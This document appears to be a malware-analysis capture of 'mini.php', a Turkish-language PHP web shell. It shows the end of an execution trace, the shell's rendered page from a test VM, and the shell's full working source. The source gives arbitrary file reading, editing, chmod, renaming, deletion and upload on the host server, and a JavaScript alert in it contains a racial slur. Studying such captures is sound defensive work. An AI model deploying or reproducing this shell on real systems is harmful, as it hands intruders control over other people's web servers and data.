2 A /var/www/html/uploads/mini.php 79 $info .= 'x'
2 A /var/www/html/uploads/mini.php 80 $info .= 'r'
2 A /var/www/html/uploads/mini.php 81 $info .= '-'
2 A /var/www/html/uploads/mini.php 82 $info .= 'x'
2 58 1 0.003214 463472
2 58 R '-rwxr-xr-x'
2 60 0 0.003229 463432 is_writable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/prepend.php'
2 60 1 0.003244 463472
2 60 R FALSE
2 61 0 0.003258 463432 is_readable 0 /var/www/html/uploads/mini.php 620 1 '/var/www/html/uploads/prepend.php'
2 61 1 0.003272 463472
2 61 R TRUE
1 3 1 0.003288 463368
0.003322 329808
TRACE END [2023-02-12 20:11:45.580217]
<html><head>
<title>QeyFrQ</title>
<meta charset="UTF-8">
<meta name="robots" content="noindex, nofollow, noarcive">
<link rel="stylesheet" href="" type="text/css">
<link href="https://fonts.googleapis.com/css?family=Ubuntu+Mono" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<style>
*{
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding:0;
border:0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
font-size: 12px;
font-weight: normal;
}
input:focus, select:focus, textarea:focus, button:foucs
{
outline: none;
}
html, body
{
width: 100%;
height: 100%;
color: #222222;
}
body
{
background-color: #f0f0f0;
line-height: 17px;
}
a
{
text-decoration: none;
color: #fff;
}
a:hover
{
color: red;
text-decoration: none;
cursor: pointer;
}
p
{
padding: 8px 0;
}
table
{
width: 100%;
}
table td, table th
{
vertical-align: middle;
padding: 6px;
}
textarea, input, select
{
background: #fff;
padding: 8px;
border-radius: 8px;
color: #111;
border: 1px solid #ddd;
}
textarea
{
resize: vertical;
width: 100%;
height: 300px;
min-height: 300px;
max-width: 100%;
min-width: 100%;
}
hr
{
margin: 8px 0;
border-bottom: 1px dahsed #ddd;
}
video
{
width: 100%;
background: #222;
border-radius: 8px;
}
h1, h2
{
background: #e7e7;
border-bottom: 1px solid #ccc;
color: #000;
border-radius: 8px;
text-align: center;
cursor: pointer;
padding: 8px;
margin-bottom: 8px;
}
h1 a, h2 a
{
color: #000;
}
pre
{
word-break: break-all;
word-wrap: break-word;
}
pre
{
white-space: pre-wrap;
}
#bds
{
cursor: pointer;
}
#header
{
width: 100%;
position: fixed;
}
#headerNav
{
padding: 10px 8px 6px 8px;
background: #333;
}
#headerNav a
{
color: #efefef;
}
#menu
{
background: #006600;
height: 33px;
border-bottom: 3px solid red;
}
#menu .menuitem
{
float: left;
padding: 7px 12px 6px 12px;
height: 30px;
background: #006600;
color: #fff:
cursor: pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected
{
background: green;
color: red;
font-weight: bold;
}
#menu .menuitemSelected
{
background: #768999;
}
#basicinfo
{
width:100%;
padding:8px;
border-bottom:1px dashed #dddddd;
}
#content
{
background:#f0f0f0;
height:100%;
padding:66px 8px 8px 8px;
}
#content .menucontent
{
background:#f0f0f0;
clear:both;
display:none;
padding:8px;
overflow-x:auto;
overflow-y:hidden;
}
#logout
{
float: right;
}
.boxclose
{
background:#222222;
border-radius:3px;
margin-right:8px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
color:#ffffff;
}
.text
{
color: green;
}
.text2
{
color: red;
}
.title
{
background: #ddd;
border: 1px solid #ccc;
color: red;
border-radius: 8px;
text-align: center;
cursor: pointer;
}
.title a, .title a:hover
{
color: #000;
}
.boxtbl
{
border: 1px solid #ddd;
border-radius: 8px;
padding-bottom: 8px;
background: #;
}
.boxtbl td
{
vertical-align: middle;
padding: 8px 15px;
border-bottom: 1px dashed #ddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button
{
width: 100%;
}
.button
{
min-width: 120px;
width: 120px;
margin: 2px;
color: #fff;
background: #7c94ab;
border: none;
padding: 8px;
border-radius: 8px;
display: block;
text-align: center;
cursor: pointer;
}
.button:hover
{
background: green;
color: red;
font-weight: bold;
}
#upload
{
display: none;
}
#rawbox
{
display: block;
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
<div id="headerNav">
<span>
<a href="#">
imhatimi.org
</a>
</span>
<div style="color: white; display: inline-block; margin-left: 10px;">
<a href="?path=/">/</a><a href="?path=/var">var</a>/<a href="?path=/var/www">www</a>/<a href="?path=/var/www/html">html</a>/ </div>
</div>
<div id="menu">
<a class="menuitem" id="expl" href="#!explorer">
Explorer
</a>
<a class="menuitem" id="upll" href="#!upload">
</a>
</div>
</div>
</div><!---End Header ----->
<div id="content">
<div id="basicinfo">
<div id="toggleBasicInfo"></div>
<div></div>
Sunucunun IP Adresi : ::1 <span style="color: red;">|</span> Senin IP Adresin : ::1<br>
Time <span style="color: red;">@</span> Server : 12 Feb 2023 05:11:13<br>
Linux osboxes 5.15.0-60-generic #66-Ubuntu SMP Fri Jan 20 14:29:49 UTC 2023 x86_64<br>
Apache/2.4.52 (Ubuntu) <span style="color: red;">|</span> PHP 7.2.34-37+ubuntu22.04.1+deb.sury.org+1 </div>
<!----<center>
<font size= "3">
Directory Isn't readable.
</font>
</center>----->
<section id="explorer" class="c">
<form method="post" id="myform" name="myForm">
<table id="maintable" style="width: 100%;" align="center" cellpadding="3">
<tbody><tr>
<td colspan="7">
<center>
<div id="showmydata">
</div>
</center>
</td>
</tr>
<tr style="background-color: #ddd; color: red;">
<td colspan="8" align="center">
Listing Folder
</td>
</tr>
<tr style="background-color: #ddd; height: 12px;">
<th>Ad</th>
<th>Boyut</th>
<th>İzin</th>
<th>Secenekler</th>
</tr><tr style="background-color: #ddd;" onmouseover="style.BackgroundColor=" #000""="" onmouseout="style.BackgroundColor= " #ddd""="">
<td class="info"><a id="fileraw" href="?fileraw=/var/www/html/beneri.se_malware_analysis&path=/var/www/html"><font class="text"><center>beneri.se_malware_analysis</center></font></a></td>
<td>
<font class="text2">
<center>
0 KB
</center>
</font>
</td><td><center>-rw-r--r--</center></td><td>
<font class="text2">
<center><select name="opt">
<option value="\">-----------</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file"><input type="hidden" name="name" value="beneri.se_malware_analysis">
<input type="hidden" name="path" value="/var/www/html/beneri.se_malware_analysis"><input type="submit" value=">">
</center>
</font>
</td></tr><tr style="background-color: #ddd;" onmouseover="style.BackgroundColor=" #000""="" onmouseout="style.BackgroundColor= " #ddd""="">
<td class="info"><a id="fileraw" href="?fileraw=/var/www/html/mini.php&path=/var/www/html"><font class="text"><center>mini.php</center></font></a></td>
<td>
<font class="text2">
<center>
16.245 KB
</center>
</font>
</td><td><center>-rw-rw-r--</center></td><td>
<font class="text2">
<center><form action="?option&path=/var/www/html" method="post"><select name="opt">
<option value="\">-----------</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file"><input type="hidden" name="name" value="mini.php">
<input type="hidden" name="path" value="/var/www/html/mini.php"><input type="submit" value=">">
</form>
</center>
</font>
</td></tr></tbody></table>
</form></section>
<section id="upload" class="content2">
<form method="post" id="file" enctype="multipart/form-data">
<table class="boxtbl">
<thead>
<tr>
<th colspan="2">
<p class="title">
Upload
</p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td colspan="2">
<input type="file" name="file">
</td>
</tr>
<tr>
<td colspan="2">
<input class="button" id="fileb" type="submit" value="Upload">
</td>
</tr>
</tbody>
</table>
</form>
</section>
</div>
<script type="text/javascript">
$(
function()
{
$('#upll').on('click',
function()
{
$('#explorer').hide();
$('#upload').css('display', 'block');
}
);
$('#expl').on('click',
function()
{
$('#upload').hide();
$('#explorer').css('display', 'block');
}
);
$('#fileraw').on('click',
function()
{
$('#eplorer').hide();
$('#rawbox').css('display', 'block');
}
);
$('#fileb').click(
function()
{
alert('File was Uploaded Nigga');
}
);
}
)
</script>
</body></html>
<?php
error_reporting(0);
$error = "";
function yourip()
{
echo $_SERVER['REMOTE_ADDR'];
}
function serverip()
{
echo getenv('SERVER_ADDR');
}
function servertime()
{
$date = date('d M Y');
$time = date('h:i:s');
echo $date.' '.$time;
}
function systeminfo()
{
echo php_uname();
}
function phpVer()
{
$ver = @phpversion();
echo 'PHP '.$ver;
}
function serverapp()
{
echo $_SERVER['SERVER_SOFTWARE'];
}
function perms($file)
{
$perms = fileperms($file);
if(($perms & 0xC000) == 0xC000)
{
$info = 's';
}elseif(($perms & 0xA000) == 0xA000)
{
$info = 'l';
} elseif(($perms & 0x8000) == 0x8000)
{
$info = '-';
}elseif(($perms & 0x6000) == 0x6000)
{
$info = 'b';
}elseif(($perms & 0x4000) == 0x4000)
{
$info = 'd';
}elseif(($perms & 0x2000) == 0x2000)
{
$info = 'c';
}elseif(($perms & 0x1000) == 0x1000)
{
$info = 'p';
} else
{
$info = 'u';
}
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x') : (($perms & 0x0800) ? 'S' : '-'));
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x') : (($perms & 0x0400) ? 'S' : '-'));
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
return $info;
}
?>
<!DOCTYPE html>
<head>
<title>QeyFrQ</title>
<meta charset="UTF-8"/>
<meta name= "robots" content= "noindex, nofollow, noarcive"/>
<link rel="stylesheet" href="" type="text/css"/>
<link href="https://fonts.googleapis.com/css?family=Ubuntu+Mono" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.3.1.slim.min.js"></script>
<style>
*{
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding:0;
border:0;
-webkit-box-sizing: border-box;
-moz-box-sizing: border-box;
font-size: 12px;
font-weight: normal;
}
input:focus, select:focus, textarea:focus, button:foucs
{
outline: none;
}
html, body
{
width: 100%;
height: 100%;
color: #222222;
}
body
{
background-color: #f0f0f0;
line-height: 17px;
}
a
{
text-decoration: none;
color: #fff;
}
a:hover
{
color: red;
text-decoration: none;
cursor: pointer;
}
p
{
padding: 8px 0;
}
table
{
width: 100%;
}
table td, table th
{
vertical-align: middle;
padding: 6px;
}
textarea, input, select
{
background: #fff;
padding: 8px;
border-radius: 8px;
color: #111;
border: 1px solid #ddd;
}
textarea
{
resize: vertical;
width: 100%;
height: 300px;
min-height: 300px;
max-width: 100%;
min-width: 100%;
}
hr
{
margin: 8px 0;
border-bottom: 1px dahsed #ddd;
}
video
{
width: 100%;
background: #222;
border-radius: 8px;
}
h1, h2
{
background: #e7e7;
border-bottom: 1px solid #ccc;
color: #000;
border-radius: 8px;
text-align: center;
cursor: pointer;
padding: 8px;
margin-bottom: 8px;
}
h1 a, h2 a
{
color: #000;
}
pre
{
word-break: break-all;
word-wrap: break-word;
}
pre
{
white-space: pre-wrap;
}
#bds
{
cursor: pointer;
}
#header
{
width: 100%;
position: fixed;
}
#headerNav
{
padding: 10px 8px 6px 8px;
background: #333;
}
#headerNav a
{
color: #efefef;
}
#menu
{
background: #006600;
height: 33px;
border-bottom: 3px solid red;
}
#menu .menuitem
{
float: left;
padding: 7px 12px 6px 12px;
height: 30px;
background: #006600;
color: #fff:
cursor: pointer;
}
#menu .menuitem:hover, #menu .menuitemSelected
{
background: green;
color: red;
font-weight: bold;
}
#menu .menuitemSelected
{
background: #768999;
}
#basicinfo
{
width:100%;
padding:8px;
border-bottom:1px dashed #dddddd;
}
#content
{
background:#f0f0f0;
height:100%;
padding:66px 8px 8px 8px;
}
#content .menucontent
{
background:#f0f0f0;
clear:both;
display:none;
padding:8px;
overflow-x:auto;
overflow-y:hidden;
}
#logout
{
float: right;
}
.boxclose
{
background:#222222;
border-radius:3px;
margin-right:8px;
margin-top:-3px;
padding:2px 8px;
cursor:pointer;
color:#ffffff;
}
.text
{
color: green;
}
.text2
{
color: red;
}
.title
{
background: #ddd;
border: 1px solid #ccc;
color: red;
border-radius: 8px;
text-align: center;
cursor: pointer;
}
.title a, .title a:hover
{
color: #000;
}
.boxtbl
{
border: 1px solid #ddd;
border-radius: 8px;
padding-bottom: 8px;
background: #;
}
.boxtbl td
{
vertical-align: middle;
padding: 8px 15px;
border-bottom: 1px dashed #ddd;
}
.boxtbl input, .boxtbl select, .boxtbl .button
{
width: 100%;
}
.button
{
min-width: 120px;
width: 120px;
margin: 2px;
color: #fff;
background: #7c94ab;
border: none;
padding: 8px;
border-radius: 8px;
display: block;
text-align: center;
cursor: pointer;
}
.button:hover
{
background: green;
color: red;
font-weight: bold;
}
#upload
{
display: none;
}
#rawbox
{
display: block;
}
</style>
</head>
<body>
<div id="wrapper">
<div id="header">
<div id="headerNav">
<span>
<a href="#">
imhatimi.org
</a>
</span>
<div style="color: white; display: inline-block; margin-left: 10px;">
<?php
if(isset($_GET['path']))
{
$path = $_GET['path'];
} else
{
$path = getcwd();
}
$path = str_replace('\\', '/', $path);
$paths = explode('/', $path);
foreach($paths as $id=>$pat)
{
if($pat == '' && $pat == 0)
{
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($pat == '') continue;
echo '<a href="?path=';
for($i=0; $i<=$id; $i++)
{
echo $paths[$i];
if($i != $id) echo '/';
}
echo '">'.$pat.'</a>/';
}
?>
</div>
</div>
<div id="menu">
<a class="menuitem" id="expl" href="#!explorer">
Explorer
</a>
<a class="menuitem" id="upll" href="#!upload">
</a>
</div>
</div>
</div><!---End Header ----->
<div id="content">
<div id="basicinfo">
<div id="toggleBasicInfo"></div>
<div></div>
Sunucunun IP Adresi : <?php echo serverip(); ?> <span style='color: red;'>|</span> Senin IP Adresin : <?php echo yourip(); ?>
<br/>
Time <span style='color: red;'>@</span> Server : <?php echo servertime(); ?>
<br/>
<?php echo systeminfo(); ?>
</br>
<?php echo serverapp(); ?> <span style='color: red;'>|</span> <?php echo phpVer(); ?>
</div>
<!----<center>
<font size= "3">
Directory Isn't readable.
</font>
</center>----->
<?php
if(isset($_GET['fileraw']))
{
echo '
<table id="rawbox" class="boxtbl">
<thead>
<tr>
<th colspan= "2">
<p class="title">
Kod Onizle
</p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td colspan="2">';
echo('<pre>'.htmlspecialchars(file_get_contents($_GET['fileraw'])).'</pre>');
echo '</td>
</tr>
</tbody>
</table>';
} elseif(isset($_GET['option']) && $_POST['opt'] != 'delete')
{
echo '<center>'.$_POST['path'].'<br/><br/>';
if($_POST['opt'] == 'chmod')
{
if(isset($_POST['perm']))
{
if(chmod($_POST['path'], $_POST['perm']))
{
echo '<font color="green">Basarili</font>';
}else
{
echo '<font color="red">Basarsiz</font>';
}
}
echo '<form method="post">Permission: <input type="" name="perm" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'"/><input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="chmod"> <input type="submit" value="G" /> </form>';
} elseif($_POST['opt'] == 'rename')
{
if(isset($_POST['newname']))
{
if(rename($_POST['path'], $path.'/'.$_POST['newname']))
{
echo '<font color="green">Basarili.</font><br />';
} else
{
echo '<font color="red">Basarisiz.</font><br />';
}
$_POST['name'] = $_POST['newname'];
}
echo '<form method="POST"> New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="rename"> <input type="submit" value="Go" /> </form>';
}elseif($_POST['opt'] == 'edit')
{
if(isset($_POST['src']))
{
$fp = fopen($_POST['path'], 'w');
if(fwrite($fp, $_POST['src']))
{
echo '<font color="green">Edit File Done ~_^.</font><br />';
} else
{
echo '<font color="green">Edit File Error ~_^.</font><br />';
}
fclose($fp);
}
echo '<form method="POST"> <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br /> <input type="hidden" name="path" value="'.$_POST['path'].'"> <input type="hidden" name="opt" value="edit"> <input type="submit" value="Go" /> </form>';
}
echo '</center>';
}else
{
if(isset($_GET['option']) && $_POST['opt'] == 'delete')
{
if($_POST['type'] == 'dir')
{
if(rmdir($_POST['path']))
{
echo '<font color="green">Delete Dir Done.</font><br />';
}else
{
echo '<font color="red">Delete Dir Error.</font><br />';
}
}elseif($_POST['type'] == 'file')
{
if(unlink($_POST['path']))
{
echo '<font color="green">Delete File Done.</font><br />';
}else
{
echo '<font color="green">Delete File Error.</font><br />';
}
}
}
}
?>
<section id="explorer" class="c">
<form method= "post" id="myform" name= "myForm">
<?php
$scandir = scandir($path);
echo '<table id="maintable" style="width: 100%;" align="center" cellpadding="3">
<tr>
<td colspan= "7">
<center>
<div id="showmydata">
</div>
</center>
</td>
</tr>
<tr style="background-color: #ddd; color: red;">
<td colspan= "8" align="center">
Listing Folder
</td>
</tr>
<tr style="background-color: #ddd; height: 12px;">
<th>Ad</th>
<th>Boyut</th>
<th>İzin</th>
<th>Secenekler</th>
</tr>';
foreach($scandir as $dir)
{
if(!is_dir("$path/$dir") || $dir == '.' || $dir == '..') continue;
echo '<tr style="background-color: #ddd;" onMouseOver= "style.BackgroundColor="#000"" onMouseOut= "style.BackgroundColor= "#ddd"">
<td class="info">';
echo "<a href=\"?path=$path/$dir\"><font class=\"text\"><center>$dir</center></font></a>";
echo '</td><td>
<font class="text2">
<center>
DIR
</center>
</font>
</td><td><center>';
if(is_writable('$path/$dir')) echo '<font color="green">';
elseif(!is_readable($path/$dir)) echo '<font color="red">';
echo perms('$path/$dir');
if(is_writable('$path/$dir') || !is_readable('$path/$dir')) echo '</font>';
echo '</center></td><td>
<font class="text2">
<center>';
echo "<form action=\"?option&path=$path\" method= \"post\">";
echo '<select name="opt">
<option value="\">-----------</option>
<option value="delete">Sil</option>
<option value="chmod">İzin</option>
<option value="rename">Yeniden Ad.</option>
</select>
<input type="hidden" name="type" value="dir">';
echo "<input type=\"hidden\" name=\"name\" value=\"$dir\">
<input type=\"hidden\" name=\"path\" value=\"$path/$dir\">";
echo '<input type="submit" value="Tamam">
</form>
</center>
</font>
</td></tr>';
} //foreach
foreach($scandir as $file)
{
if(!is_file("$path/$file")) continue;
$size = filesize("$path/$file")/1024;
$size = round($size, 3);
if($size >= 1024)
{
$size = round($size/1024, 2).' MB';
}else
{
$size = $size.' KB';
}//size
echo '<tr style="background-color: #ddd;" onMouseOver= "style.BackgroundColor="#000"" onMouseOut= "style.BackgroundColor= "#ddd"">
<td class="info">';
echo "<a id=\"fileraw\" href=\"?fileraw=$path/$file&path=$path\"><font class=\"text\"><center>$file</center></font></a>";
echo '</td>
<td>
<font class="text2">
<center>
'.$size.'
</center>
</font>
</td><td><center>';
if(is_writable("$path/$file")) echo '<p class="text">';
elseif(!is_readable("$path/$file")) echo '<font color="red">';
echo perms("$path/$file");
if(is_writable("$path/$dir") || !is_readable("$path/$file")) echo '</font>';
echo '<td>
<font class="text2">
<center>';
echo "<form action=\"?option&path=$path\" method= \"post\">";
echo '<select name="opt">
<option value="\">-----------</option>
<option value="delete">Delete</option>
<option value="chmod">Chmod</option>
<option value="rename">Rename</option>
<option value="edit">Edit</option>
</select>
<input type="hidden" name="type" value="file">';
echo "<input type=\"hidden\" name=\"name\" value=\"$file\">
<input type=\"hidden\" name=\"path\" value=\"$path/$file\">";
echo '<input type="submit" value=">">
</form>
</center>
</font>
</td></tr>';
}
echo '</table>';
?>
</form>
</section>
<section id="upload" class="content2">
<?php
if(isset($_FILES['file']))
{
if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name']))
{
$error = '<font style="color: green;">File Was Uploaded.</font><br/>';
} else
{
$error = '<font style="color: red;">File wont Uploaded.</font><br/>';
}
}
?>
<form method= "post" id = "file" enctype= "multipart/form-data">
<table class="boxtbl">
<thead>
<tr>
<th colspan= "2">
<p class="title">
Upload
</p>
</th>
</tr>
</thead>
<tbody>
<tr>
<td colspan= "2">
<input type="file" name="file"/>
</td>
</tr>
<tr>
<td colspan= "2">
<input class="button" id = "fileb" type="submit" value="Upload"/>
</td>
</tr>
</tbody>
</table>
</form>
</section>
</div>
<script type="text/javascript">
$(
function()
{
$('#upll').on('click',
function()
{
$('#explorer').hide();
$('#upload').css('display', 'block');
}
);
$('#expl').on('click',
function()
{
$('#upload').hide();
$('#explorer').css('display', 'block');
}
);
$('#fileraw').on('click',
function()
{
$('#eplorer').hide();
$('#rawbox').css('display', 'block');
}
);
$('#fileb').click(
function()
{
alert('File was Uploaded Nigga');
}
);
}
)
</script>
</body>
</html>